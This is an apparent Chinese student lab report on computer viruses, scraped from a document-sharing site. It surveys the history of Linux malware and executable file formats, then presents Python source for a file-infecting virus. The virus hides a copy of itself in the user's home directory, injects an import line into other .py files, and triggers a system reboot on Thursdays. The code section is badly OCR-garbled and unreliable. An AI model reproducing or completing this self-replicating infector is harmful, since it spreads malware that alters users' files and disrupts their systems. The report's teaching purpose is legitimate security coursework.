用python写的简单病毒无害概要_第1页
用python写的简单病毒无害概要_第2页
用python写的简单病毒无害概要_第3页
用python写的简单病毒无害概要_第4页
用python写的简单病毒无害概要_第5页
已阅读5页,还剩8页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、计算机病毒实验报告姓名:郭莎莎学号:201306043023培养类型:技术类年级:2013 级专业:信息安全所属学院:计算机学院指导教员:龙军职称:教授实验室:实验日期:2016.7.3国防科学技术大学训练部制本科实验报告填写说明1 学员完成人才培养方案和课程标准要所要求的每个实验后,均须提 交实验报告。2实验报告封面必须打印,报告内容可以手写或打印。3实验报告内容编排及打印应符合以下要求:(1) 采用A4 (21cmK29.7cm)白色复印纸,单面黑字打印。上下左右 各侧的页边距均为3cm;缺省文档网格:字号为小4号,中文为宋体,英文 和阿拉伯数字为Times New Roman,每页30行

2、,每行36字;页脚距边界为 2.5cm,页码置于页脚、居中,采用小 5号阿拉伯数字从1开始连续编排, 圭寸面不编页码。(2) 报告正文最多可设四级标题,字体均为黑体,第一级标题字号为3号,其余各级标题为4号;标题序号第一级用 一、”、二、”,第二 级用“(一)”、“(二)”,第三级用“ 1、“2.,第四级用“(1) ”(2) ”,分别按序连续编排。(3) 正文插图、表格中的文字字号均为 5号。实验题目Python病毒功能实现目录一、实验目的4二、实验内容4三、实验原理4(一)Linux 病毒41. Linux 病毒的发展史 42. Linux 平台下的病毒分类 5(二)文件型病毒61. 感染C

3、OM文件:62 感染EXE文件:6(三)python 文件7四、实验所需软硬件8五、实验步骤8(一)程序框架 81. 传播感染模块82. 备份模块93. 触发和破坏模块9(二)具体实现9(三)结果截屏 11六、实验结果与分析12七、思考与总结12、实验目的了解和掌握计算机病毒的工作原理,编写一个具有基本功能的计算机病 毒。二、实验内容编写简易Python病毒并实现一些基本功能 在宿主机上进行病毒测试三、实验原理(一)Linux 病毒1. Linux病毒的发展史1996年的Staog是Linux系统下的第一个病毒,它出自澳大利亚一个叫 VLAD 的组织(Windows 95下的第一个病毒程序 B

4、oza也系该组织所为)。Staog病 毒是用汇编语言编写,专门感染二进制文件,并通过三种方式去尝试得到root权限。Staog病毒并不会对系统有什么实质性的损坏。它应该算是一个演示 版。它向世人揭示了Linux可能被病毒感染的潜在危险。Linux系统上第二个被发现的病毒是 Bliss病毒,它是一个不小心被释放出来的实验性病毒。与 其它病毒不同的是,Bliss本身带有免疫程序,只要在运行该程序时加上“ disinfect-files-please ”选项,即可恢复系统。2001年发现的Ramen蠕虫。Ramen蠕虫可以自动传播,无需人工干预,所 以和1988年曾使人们大受其苦的Morris蠕虫非

5、常相似。它只感染Red Hat6.2和7.0版使用匿名FTP服务的服务器,它通过两个普通的漏洞RPC.statd和wu-FTP感染系统。表面看来,这不危险。它很容易被发现,且不会对服务 器做出任何有破坏性的事情。但是当它开始扫描时,将消耗大量的网络带宽。从1996年至今,新的Linux病毒屈指可数,这说明 Linux是一个健壮的具有 先天病毒免疫能力的操作系统。 当然,出现这种情况,除了其自身设计优秀外, 还有其它的原因。然而,2001年3月,美国SANS学院的全球事故分析中心 (Global Incident Analysis CenterGIAC)发现,一种新的针对使用Linux系统的计算

6、机的蠕虫正通过互联网迅速蔓延,它将有可能对用户的电脑系统造成严重破坏。这种蠕虫被命名为“狮子”病毒,与Ramen蠕虫非常相似。但是,这种病毒的危险性更大,“狮子”病毒能通过电子邮件把一些密码和配置文件发送到一个位于的域名上。攻击者在把这些文件发回去之后就可以通过第一次 突破时的缺口再次进入整个系统。这就是它与Ramen蠕虫的不同之处。随着Klez病毒在Linux平台上的传染,微软的操作系统不再是唯一易受病毒 攻击的操作系统了。即使Linux和其他一些主流 UNIX平台的用户可能不是微 软捆绑应用软件的大用户,不可能通过这些软件造成病毒的泛滥,Linux和UNIX仍然有它们自身并不引人注目的脆弱

7、点。除了Klez以外,其他Linux/UNIX 平台的主要威胁有:Lion.worm、OSF.8759 病毒、Slapper、Scalper、 Linux.Svat和BoxPoison病毒,这些都很少被提及。另外,越多的Linux系统连接到局域网和广域网,就会有越多受攻击的可能, 这是因为很多Linux病毒正在快速地扩散着。使用 WINE的Linux/UNIX系统特别容易受到病毒的攻击。WINE是一个公开源代码的兼容软件包,能让Linux 平台运行 Windows应用软件。2. Linux平台下的病毒分类可执行文件型病毒可执行文件型病毒是指能够寄生在文件中的,以文件为主要感染对象的病毒。 病毒

8、制造者们无论使用什么武器,汇编或者C,要感染ELF文件都是轻而易举的事情。这方面的病毒如Lin dose,当其发现一个ELF文件时,它将检查被感染的机器类型是否为In tel 80386,如果是,则查找该文件中是否有一部分的大小大于2,784字节(或十六进制 AEO),如果满足这些条件,病毒将用自身 代码覆盖它并添加宿主文件的相应部分的代码,同时将宿主文件的入口点指向病毒代码部分。蠕虫(worm)1988年Morris蠕虫爆发后,Eugene H. Spafford为了区分蠕虫和病毒,给出 了蠕虫的技术角度的定义,“计算机蠕虫可以独立运行,并能把自身的一个包 含所有功能的版本传播到另外的计算机

9、上。”在Linux平台下,蠕虫极为猖獗,像利用系统漏洞进行传播的ramen, lion , Slapper每一个都感染了大量的Linux系统,造成了巨大的损失。在未来,这种蠕虫仍然会愈演愈烈,Linux系统应用越广泛,蠕虫的传播程度和破坏能力也会随之增加。脚本病毒目前出现比较多的是使用shell脚本语言编写的病毒。此类病毒编写较为简单,但破坏力同样惊人。Linux系统中有许多的以.sh结尾的脚本文件,而一个短短 十数行的shell脚本就可以在短时间内遍历整个硬盘中的所有脚本文件,进行 感染。因此病毒制造者不需要具有很高深的知识,就可以轻易编写出这样的病毒,对系统进行破坏,其破坏性可以是删除文件

10、,破坏系统正常运行,甚至下载一个木马到系统中等等。后门程序:在广义的病毒定义概念中,后门也已经纳入了病毒的范畴。活跃在Windows系统中的后门这一入侵者的利器在Linux平台下同样极为活跃。 从增加系统超级用户账号的简单后门,到利用系统服务加载,共享库文件注射, rootkit工具包,甚至可装载内核模块(LKM ), Linux平台下的后门技术发展非常成熟,隐蔽性强,难以清除。(二)文件型病毒文件型病毒主要是感染可执行文件( PE文件)的病毒,如 EXE , COM。病毒 对宿主文件进行修改, 把自身代码添加到宿主文件上。 执行宿主程序时,将会 先执行病毒程序再执行宿主程序1.感染COM文件

11、:对于COM文件,系统加载时在经过一系列处理之后将全部文件读入内存,并把控制权交给该文件的第一条指令。如果该指令恰为病毒指令则病毒就会获得 控制权。COM后缀带毒文件有两种结构:病毒主体在原文件之后。病毒通过修改原文件头代之以一段程序(或简单地用一条跳转指令)指向后面病毒体,以后再恢复该处原指令。病毒整体在原文件之前。加载时病毒体直接获得控制权,不破坏原程序任 何部分。2.感染EXE文件:EXE后缀文件与COM后缀文件不同,有一特殊的“文件头”结构,其中加载 了文件重定位信息等,而非可执行指令。.rsic 龍(ext 业u I>LAtjt_SE<TJUN_Ht.ADEK:'

12、'.吒丈怦头16 IMAGE, 1>ATA_DRECTOKY:附BIAGE_0Pn0NL_R£.WER?2: .!;札Ih仇GE_F1LE_HE ADERK 脚, o, oDos Srub城的不同节PENT现町选PE龙件茂头DOS担1;DOS MZ Z''-系统加载EXE后缀文件时根据文件头信息定位文件并设置入口处的堆栈指针 和代码指针等。病毒在传染EXE后缀文件时一般将文件头的代码指针使之指向病毒入口,当系统加载时病毒首先获得控制权。病毒要把自身复制到 EXE文件中,需要做的修改主要有:写入一个新节(病毒的程序体)在节表中新加一个节头修改PE文件头的文

13、件表头中的相应字段(如NumberOfSections)修改程序入口点地址其中修改程序入口点地址是十分关键的,它保证系统运行宿主文件时先执行病毒程序。(三)python文件python的源代码py文件在运行时都会被先编译成字节码,并把编译的结果保存到PyCodeObject中,pyc文件即是把 PyCodeObject从内存中以 marshal格式保存到文件后的结果。Python中定义的PyCodeObject的结构typedef struct LPyObject HEADint co_argco unt;/* #argume nts, except *args */int co nl oca

14、ls;/* #local variables */int co_stacksize;/* #en tries n eeded for evaluatio n stack*/int co flags;/* CO ., see below */PyObject *co code;/* in struct ion opcodes */PyObject *co_c on sts;/* list (c on sta nts used) */PyObject *co names;/* list of strings (names used) */PyObject *co_var names; /* tup

15、le of stri ngs (local variable n ames) */PyObject *co freevars; /* tuple of strings (free variable names) */PyObject *co cellvars;/* tuple of strings (cell variable names) */* The rest does n't count for hash/cmp */PyObject *co file name; /* stri ng (where it was loaded from) */PyObject *co_ nam

16、e;/* stri ng (n ame, for refere nee) */int co firstlineno;/* first source line number */PyObject *co Inotab;/* string (encoding addr<->lineno mapping) SeeObjects/l no tab no tes.txt for details. */void *co_zombieframe;/* for optimizati on only (see frameobject.c) */PyObject *co_weakreflist; /*

17、 to support weakrefs to code objects */ PyCodeObject;其中一些字段的含义argcount:参数的个数nlocals :局部变量的个数(包含参数在内)stacksize:堆栈的大小flags:用来表示参数中是否有*args或者*kwargs code:字节码names:全局变量,函数,类,类的方法的名称varnames:局部变量的名称(包含参数) con sts: 个常量表pyc文件就是一个嵌套的PyCodeObject结构的组合。对于每个函数或者类的方法,都会生成一个对应的PyCodeObject 结构。所有的PyCodeObject都是通过

18、调用以下的函数得以运行的:PyObject * PyEval EvalFrameEx(PyFrameObject *f, int throwflag)它的作用是执行中间码,Python的代码都是通过调用这个函数来运行的。通过上面的分析,我决定利用python代码执行的特性,用python写一个Linux 下的文件型病毒”。四、实验所需软硬件操作系统:ubu ntu16.04 LTS 虚拟机 软件:Python2.7.11 +五、实验步骤(一)程序框架我决定用python写文件型病毒,是想既能体现文件型病毒的特点同时又不用 到底层去计算字节数。程序包括以下几个模块:1. 传播感染模块查找符号条件

19、的宿主文件,然后将自身添加到宿主文件中。在所蛤目录下找到一个新的阿文件利用病毒的特殊标记判畴谊文件星否已被喊为了隐蔽自身,并不是把病毒自身全部拷贝到被感染文件中去,那样的话用 户很容易发现。我的做法是在一个隐蔽的位置创建病毒的一个备份,这样, 当把病毒写入宿主文件时,并不是显式地写入,而只需要通过import语句引用即可达到同样的效果。2. 备份模块备份文件我选择放在 "/home/当前用户”这个目录下。因为在Linux的其他根 目录下,如/usr、/bin,创建一个文件需要 root权限,而用户一般情况下并不 会在root权限下运行,这就涉及到提权问题。目前还没想到解决办法,所以

20、暂时选择了 “ /home/当前用户”这个目录。3. 触发和破坏模块日期触发。在每个星期的星期四这一天,用户执行被感染的.py文件,破坏模块就会执行。系统重启。攻击模块理论上说可以任意定制,但要注意的是,如果引用了 python的一些特殊模块,受害者主机系统可能并没有安装,程序执行时就会 出错。(二)具体实现备份模块user = getpass.getuser()virus_abs_path = T/home/r + user + T/simplepat-h = i弓.pat-h吕plit (filepath) 1file list = 亡i:s listdir (filepath£

21、口二 num in range(len (f ilelistJ |f ilename=f ilelist |numif 口吕.path zLssdli工自:g&t_and_chg_pyfilename ffilepath+ "Zn4-fil&name f tabntmi+1)= _L S if ilename = os - path, join (f ilepsthr f ilenjne) - filenamea endswith (Bk :and not is_infected (filename): infect(filename)usefulpath = pat

22、hrmplmum ( 11,1 / 1 if use fulpath + endswith (99/nj »usefulpath = usefulpath:1if net; os:path宕xiist且(u启宕:Eulpath):return11£ not os * path i占dii: fu占ulp岂th):x* 启 tu zrnelse:Hwf createbackup(:i f os.path.exists(virus_abs_path + 1 virus.py1): returndst = open(virus_abs_path + r virus * py1f

23、Tw')this - open (main*filet T'rrt)for line in this:dst,write(line)dst ” close()this . close (感染模块filename +def infect(filename): os rename(filename#destination = open (filenamef "wge( t and chg p yf il&nante (use fulpath)触发条件判断和破坏功能source - ©pen (filename + TrBI, "r"1

24、)destination.wri(p #virusbyGSS_start n r)destination, write ( ' import os .path, sysn ' )destination .writ© ( " sys path ingoart (0f * ' + vi r u s_ ab s _pa th + 1 1 ) n ') destination.write(1 import virusn")for line in source:destination write(line)source close()de s

25、 t ina t i on.close() d&f is_infacted(filenameJ :os.remove(filename +f - ope n(f i1ename r "r")return f readlin© ().start swith (Bi#virusbyGSS_start daf find_and_infact_fils(path):1-e : qet_and_chq_p yf i 1 ename ( f ilepathjr tabnura=l);getweekday()= r Thursday 1 :r- subprocesssubprocess call ( * reboot.1 )(三)结果截屏病毒程序被用户放在桌面的一个文件夹里gssubuntu:*/Desktop$ cd vv gssgubuntu:-/Desktop/vv$ Is virus pygssubuntu:M$ IsDesktopDownloadsMusicPublicVideosDocuments examples.desktop Pictures Templates g££$ubuntu:$gssubuntu:-/Desktops cat fib.pydef f():for i tn range(2,30):Lgj l

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论